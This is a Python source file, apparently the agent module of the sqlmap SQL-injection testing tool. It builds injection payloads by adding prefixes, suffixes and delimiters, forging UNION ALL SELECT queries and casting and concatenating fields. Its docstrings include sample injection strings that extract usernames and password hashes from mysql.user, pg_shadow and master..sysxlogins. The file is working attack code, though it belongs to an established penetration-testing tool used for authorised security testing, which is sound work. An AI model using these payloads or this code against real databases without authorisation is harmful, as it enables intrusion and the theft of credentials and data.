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sqlmap/lib/core/agent.py
Miroslav Stampar 5764816891 minor cosmetics
2010-12-03 22:28:09 +00:00

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#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
import re
from xml.etree import ElementTree as ET
from lib.core.common import getCompiledRegex
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import queries
from lib.core.datatype import advancedDict
from lib.core.enums import DBMS
from lib.core.enums import PLACE
from lib.core.exception import sqlmapNoneDataException
from lib.core.settings import PAYLOAD_DELIMITER
class Agent:
"""
This class defines the SQL agent methods.
"""
def __init__(self):
kb.misc = advancedDict()
kb.misc.delimiter = randomStr(length=6)
kb.misc.start = ":%s:" % randomStr(length=3, lowercase=True)
kb.misc.stop = ":%s:" % randomStr(length=3, lowercase=True)
def payloadDirect(self, query):
if query.startswith("AND "):
query = query.replace("AND ", "SELECT ", 1)
elif query.startswith(" UNION ALL "):
query = query.replace(" UNION ALL ", "", 1)
elif query.startswith("; "):
query = query.replace("; ", "", 1)
if kb.tamperFunctions:
for function in kb.tamperFunctions:
query = function(query)
return query
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
"""
This method replaces the affected parameter with the SQL
injection statement to request
"""
if conf.direct:
return self.payloadDirect(newValue)
falseValue = ""
negValue = ""
retValue = ""
if negative or kb.unionNegative:
negValue = "-"
elif falseCond or kb.unionFalseCond:
randInt = randomInt()
falseValue = " AND %d=%d" % (randInt, randInt + 1)
# After identifing the injectable parameter
if kb.injection.place == PLACE.UA and kb.injection.parameter:
retValue = kb.injection.parameter.replace(kb.injection.parameter,
self.addPayloadDelimiters("%s%s" % (negValue, kb.injection.parameter + falseValue + newValue)))
elif kb.injection.place and kb.injection.parameter:
paramString = conf.parameters[kb.injection.place]
paramDict = conf.paramDict[kb.injection.place]
origValue = paramDict[kb.injection.parameter]
if kb.technique and kb.technique in kb.injection.data:
where = kb.injection.data[kb.technique].where
if where == 1:
value = origValue
elif where == 2:
value = "-%s" % randomInt()
elif where == 3:
value = ""
else:
value = origValue
newValue = self.cleanupPayload(newValue, origValue)
if "POSTxml" in conf.paramDict and kb.injection.place == PLACE.POST:
root = ET.XML(paramString)
iterator = root.getiterator(kb.injection.parameter)
for child in iterator:
child.text = self.addPayloadDelimiters(negValue + value + falseValue + newValue)
retValue = ET.tostring(root)
elif kb.injection.place == PLACE.URI:
retValue = paramString.replace("*",
self.addPayloadDelimiters("%s%s" % (negValue, falseValue + newValue)))
else:
retValue = paramString.replace("%s=%s" % (kb.injection.parameter, origValue),
"%s=%s" % (kb.injection.parameter, self.addPayloadDelimiters(negValue + value + falseValue + newValue)))
# Before identifing the injectable parameter
elif parameter == PLACE.UA:
retValue = value.replace(value, self.addPayloadDelimiters(newValue))
elif place == PLACE.URI:
retValue = value.replace("*", self.addPayloadDelimiters("%s" % newValue.replace(value, str())))
else:
paramString = conf.parameters[place]
if "POSTxml" in conf.paramDict and place == PLACE.POST:
root = ET.XML(paramString)
iterator = root.getiterator(parameter)
for child in iterator:
child.text = self.addPayloadDelimiters(newValue)
retValue = ET.tostring(root)
else:
retValue = paramString.replace("%s=%s" % (parameter, value),
"%s=%s" % (parameter, self.addPayloadDelimiters(newValue)))
return retValue
def fullPayload(self, query):
if conf.direct:
return self.payloadDirect(query)
query = self.prefixQuery(query)
query = self.suffixQuery(query)
payload = self.payload(newValue=query)
return payload
def prefixQuery(self, string):
"""
This method defines how the input string has to be escaped
to perform the injection depending on the injection type
identified as valid
"""
if conf.direct:
return self.payloadDirect(string)
query = None
# Either if the technique is stacked queries (<stype>) or we are
# replacing (<where>) the parameter original value with our
# payload, do not put a space after the prefix
if kb.technique == 4:
query = kb.injection.prefix
elif kb.injection.clause == [2, 3] or kb.injection.clause == [ 2 ]:
if kb.technique != 3:
query = kb.injection.prefix
elif kb.technique and kb.technique in kb.injection.data:
where = kb.injection.data[kb.technique].where
if where == 3:
query = kb.injection.prefix
if query is None:
query = "%s " % kb.injection.prefix
query = "%s%s" % (query, string)
query = self.cleanupPayload(query)
return query
def suffixQuery(self, string, comment=None):
"""
This method appends the DBMS comment to the
SQL injection request
"""
if conf.direct:
return self.payloadDirect(string)
if comment is not None:
string += comment
string += " %s" % kb.injection.suffix
string = self.cleanupPayload(string)
return string.rstrip()
def cleanupPayload(self, payload, origvalue=None):
if payload is None:
return
randInt = randomInt()
randInt1 = randomInt()
randStr = randomStr()
randStr1 = randomStr()
payload = payload.replace("[RANDNUM]", str(randInt))
payload = payload.replace("[RANDNUM1]", str(randInt1))
payload = payload.replace("[RANDSTR]", randStr)
payload = payload.replace("[RANDSTR1]", randStr1)
payload = payload.replace("[DELIMITER_START]", kb.misc.start)
payload = payload.replace("[DELIMITER_STOP]", kb.misc.stop)
payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
if origvalue is not None:
if not origvalue.isdigit():
origvalue = "'%s'" % origvalue
payload = payload.replace("[ORIGVALUE]", origvalue)
if kb.dbms is not None:
# NOTE: ugly hack due to queries.xml's <inference> tag
# starting with 'AND ' string
inferenceQuery = queries[kb.dbms].inference.query[4:]
payload = payload.replace("[INFERENCE]", inferenceQuery)
return payload
def getComment(self, reqObj):
if "comment" in reqObj:
comment = reqObj.comment
else:
comment = ""
return comment
def nullAndCastField(self, field):
"""
Take in input a field string and return its processed nulled and
casted field string.
Examples:
MySQL input: VERSION()
MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
MySQL scope: VERSION()
PostgreSQL input: VERSION()
PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
PostgreSQL scope: VERSION()
Oracle input: banner
Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
Microsoft SQL Server input: @@VERSION
Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
Microsoft SQL Server scope: @@VERSION
@param field: field string to be processed
@type field: C{str}
@return: field string nulled and casted
@rtype: C{str}
"""
# SQLite version 2 does not support neither CAST() nor IFNULL(),
# introduced only in SQLite version 3
if kb.dbms == DBMS.SQLITE:
return field
if field.startswith("(CASE"):
nulledCastedField = field
else:
nulledCastedField = queries[kb.dbms].cast.query % field
if kb.dbms == DBMS.ACCESS:
nulledCastedField = queries[kb.dbms].isnull.query % (nulledCastedField, nulledCastedField)
else:
nulledCastedField = queries[kb.dbms].isnull.query % nulledCastedField
return nulledCastedField
def nullCastConcatFields(self, fields):
"""
Take in input a sequence of fields string and return its processed
nulled, casted and concatenated fields string.
Examples:
MySQL input: user,password
MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
MySQL scope: SELECT user, password FROM mysql.user
PostgreSQL input: usename,passwd
PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
Oracle input: COLUMN_NAME,DATA_TYPE
Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
@param fields: fields string to be processed
@type fields: C{str}
@return: fields string nulled, casted and concatened
@rtype: C{str}
"""
if not kb.dbmsDetected:
return fields
fields = fields.replace(", ", ",")
fieldsSplitted = fields.split(",")
dbmsDelimiter = queries[kb.dbms].delimiter.query
nulledCastedFields = []
for field in fieldsSplitted:
nulledCastedFields.append(self.nullAndCastField(field))
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, kb.misc.delimiter, dbmsDelimiter)
nulledCastedConcatFields = delimiterStr.join([field for field in nulledCastedFields])
return nulledCastedConcatFields
def getFields(self, query):
"""
Take in input a query string and return its fields (columns) and
more details.
Example:
Input: SELECT user, password FROM mysql.user
Output: user,password
@param query: query to be processed
@type query: C{str}
@return: query fields (columns) and more details
@rtype: C{str}
"""
prefixRegex = "(?:\s+(?:FIRST|SKIP)\s+\d+)*"
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
fieldsSelectDistinct = re.search("\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
fieldsSelectCase = re.search("\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I)
fieldsSelectFrom = re.search("\ASELECT%s\s+(.+?)\s+FROM\s+" % prefixRegex, query, re.I)
fieldsSelect = re.search("\ASELECT%s\s+(.*)" % prefixRegex, query, re.I)
fieldsNoSelect = query
if fieldsSelectTop:
fieldsToCastStr = fieldsSelectTop.groups()[0]
elif fieldsSelectDistinct:
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
elif fieldsSelectCase:
fieldsToCastStr = fieldsSelectCase.groups()[0]
elif fieldsSelectFrom:
fieldsToCastStr = fieldsSelectFrom.groups()[0]
elif fieldsSelect:
fieldsToCastStr = fieldsSelect.groups()[0]
elif fieldsNoSelect:
fieldsToCastStr = fieldsNoSelect
if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I): #function
fieldsToCastList = [fieldsToCastStr]
else:
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
fieldsToCastList = fieldsToCastList.split(",")
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
def simpleConcatQuery(self, query1, query2):
concatenatedQuery = ""
if kb.dbms == DBMS.MYSQL:
concatenatedQuery = "CONCAT(%s,%s)" % (query1, query2)
elif kb.dbms in ( DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE ):
concatenatedQuery = "%s||%s" % (query1, query2)
elif kb.dbms == DBMS.MSSQL:
concatenatedQuery = "%s+%s" % (query1, query2)
return concatenatedQuery
def concatQuery(self, query, unpack=True):
"""
Take in input a query string and return its processed nulled,
casted and concatenated query string.
Examples:
MySQL input: SELECT user, password FROM mysql.user
MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
PostgreSQL input: SELECT usename, passwd FROM pg_shadow
PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
@param query: query string to be processed
@type query: C{str}
@return: query string nulled, casted and concatenated
@rtype: C{str}
"""
if unpack:
concatenatedQuery = ""
query = query.replace(", ", ",")
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
castedFields = self.nullCastConcatFields(fieldsToCastStr)
concatenatedQuery = query.replace(fieldsToCastStr, castedFields, 1)
else:
concatenatedQuery = query
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, _, fieldsToCastStr = self.getFields(query)
if kb.dbms == DBMS.MYSQL:
if fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1)
concatenatedQuery += ",'%s')" % kb.misc.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", ",'%s') FROM " % kb.misc.stop, 1)
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT('%s'," % kb.misc.start, 1)
concatenatedQuery += ",'%s')" % kb.misc.stop
elif fieldsNoSelect:
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
elif kb.dbms in ( DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE ):
if fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
concatenatedQuery += "||'%s'" % kb.misc.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "||'%s' FROM " % kb.misc.stop, 1)
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.misc.start, 1)
concatenatedQuery += "||'%s'" % kb.misc.stop
elif fieldsNoSelect:
concatenatedQuery = "'%s'||%s||'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
if kb.dbms == DBMS.ORACLE and " FROM " not in concatenatedQuery and ( fieldsSelect or fieldsNoSelect ):
concatenatedQuery += " FROM DUAL"
elif kb.dbms == DBMS.MSSQL:
if fieldsSelectTop:
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.misc.start), 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.misc.stop, 1)
elif fieldsSelectCase:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
concatenatedQuery += "+'%s'" % kb.misc.stop
elif fieldsSelectFrom:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.misc.stop, 1)
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.misc.start, 1)
concatenatedQuery += "+'%s'" % kb.misc.stop
elif fieldsNoSelect:
concatenatedQuery = "'%s'+%s+'%s'" % (kb.misc.start, concatenatedQuery, kb.misc.stop)
return concatenatedQuery
def forgeInbandQuery(self, query, exprPosition=None, nullChar=None, count=None, comment=None):
"""
Take in input an query (pseudo query) string and return its
processed UNION ALL SELECT query.
Examples:
MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
@param query: it is a processed query string unescaped to be
forged within an UNION ALL SELECT statement
@type query: C{str}
@param exprPosition: it is the NULL position where it is possible
to inject the query
@type exprPosition: C{int}
@return: UNION ALL SELECT query string forged
@rtype: C{str}
"""
if nullChar is None:
nullChar = conf.uChar
if count is None:
count = kb.unionCount
if comment is None:
comment = kb.unionComment
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
if query.startswith("TOP"):
topNum = re.search("\ATOP\s+([\d]+)\s+", query, re.I).group(1)
query = query[len("TOP %s " % topNum):]
inbandQuery += "TOP %s " % topNum
if not isinstance(exprPosition, int):
exprPosition = kb.unionPosition
intoRegExp = re.search("(\s+INTO (DUMP|OUT)FILE\s+\'(.+?)\')", query, re.I)
if intoRegExp:
intoRegExp = intoRegExp.group(1)
query = query[:query.index(intoRegExp)]
if kb.dbms == DBMS.ORACLE and inbandQuery.endswith(" FROM DUAL"):
inbandQuery = inbandQuery[:-len(" FROM DUAL")]
for element in range(count):
if element > 0:
inbandQuery += ", "
if element == exprPosition:
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
conditionIndex = query.index(" FROM ")
inbandQuery += query[:conditionIndex]
else:
inbandQuery += query
else:
inbandQuery += nullChar
if " FROM " in query and not query.startswith("SELECT ") and "(CASE WHEN (" not in query:
conditionIndex = query.index(" FROM ")
inbandQuery += query[conditionIndex:]
if kb.dbms == DBMS.ORACLE:
if " FROM " not in inbandQuery:
inbandQuery += " FROM DUAL"
if intoRegExp:
inbandQuery += intoRegExp
inbandQuery = self.suffixQuery(inbandQuery, comment)
return inbandQuery
def limitQuery(self, num, query, field=None):
"""
Take in input a query string and return its limited query string.
Example:
Input: SELECT user FROM mysql.users
Output: SELECT user FROM mysql.users LIMIT <num>, 1
@param num: limit number
@type num: C{int}
@param query: query to be processed
@type query: C{str}
@param field: field within the query
@type field: C{list}
@return: limited query string
@rtype: C{str}
"""
limitedQuery = query
limitStr = queries[kb.dbms].limit.query
fromIndex = limitedQuery.index(" FROM ")
untilFrom = limitedQuery[:fromIndex]
fromFrom = limitedQuery[fromIndex+1:]
orderBy = False
if kb.dbms in ( DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE ):
limitStr = queries[kb.dbms].limit.query % (num, 1)
limitedQuery += " %s" % limitStr
elif kb.dbms == DBMS.FIREBIRD:
limitStr = queries[kb.dbms].limit.query % (num+1, num+1)
limitedQuery += " %s" % limitStr
elif kb.dbms == DBMS.ORACLE:
if " ORDER BY " in limitedQuery and "(SELECT " in limitedQuery:
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
if query.startswith("SELECT "):
limitedQuery = "%s FROM (%s, %s" % (untilFrom, untilFrom, limitStr)
else:
limitedQuery = "%s FROM (SELECT %s, %s" % (untilFrom, ", ".join(f for f in field), limitStr)
limitedQuery = limitedQuery % fromFrom
limitedQuery += "=%d" % (num + 1)
elif kb.dbms == DBMS.MSSQL:
forgeNotIn = True
if " ORDER BY " in limitedQuery:
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
notDistincts = re.findall("DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I)
for notDistinct in notDistincts:
limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct)
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
topNums = re.search(queries[kb.dbms].limitregexp.query, limitedQuery, re.I)
if topNums:
topNums = topNums.groups()
quantityTopNums = topNums[0]
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
startTopNums = topNums[1]
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
forgeNotIn = False
else:
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
if forgeNotIn:
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
if " WHERE " in limitedQuery:
limitedQuery = "%s AND %s " % (limitedQuery, field)
else:
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
limitedQuery += "NOT IN (%s" % (limitStr % num)
limitedQuery += "%s %s)" % (field, fromFrom)
if orderBy:
limitedQuery += orderBy
return limitedQuery
def forgeCaseStatement(self, expression):
"""
Take in input a query string and return its CASE statement query
string.
Example:
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
@param expression: expression to be processed
@type num: C{str}
@return: processed expression
@rtype: C{str}
"""
return queries[kb.dbms].case.query % expression
def addPayloadDelimiters(self, inpStr):
"""
Adds payload delimiters around the input string
"""
retVal = inpStr
if inpStr:
retVal = "%s%s%s" % (PAYLOAD_DELIMITER, inpStr, PAYLOAD_DELIMITER)
return retVal
def removePayloadDelimiters(self, inpStr, urlencode_=True):
"""
Removes payload delimiters from inside the input string
"""
retVal = inpStr
if inpStr:
if urlencode_:
regObj = getCompiledRegex("(?P<result>%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER))
for match in regObj.finditer(inpStr):
retVal = retVal.replace(match.group("result"), urlencode(match.group("result").strip(PAYLOAD_DELIMITER), convall=True))
else:
retVal = retVal.replace(PAYLOAD_DELIMITER, '')
return retVal
def extractPayload(self, inpStr):
"""
Extracts payload from inside of the input string
"""
retVal = None
if inpStr:
regObj = getCompiledRegex("%s(?P<result>.*?)%s" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER))
match = regObj.search(inpStr)
if match:
retVal = match.group("result")
return retVal
def replacePayload(self, inpStr, payload):
"""
Replaces payload inside the input string with a given payload
"""
retVal = inpStr
if inpStr:
regObj = getCompiledRegex("(%s.*?%s)" % (PAYLOAD_DELIMITER, PAYLOAD_DELIMITER))
retVal = regObj.sub("%s%s%s" % (PAYLOAD_DELIMITER, payload, PAYLOAD_DELIMITER), inpStr)
return retVal
# SQL agent
agent = Agent()
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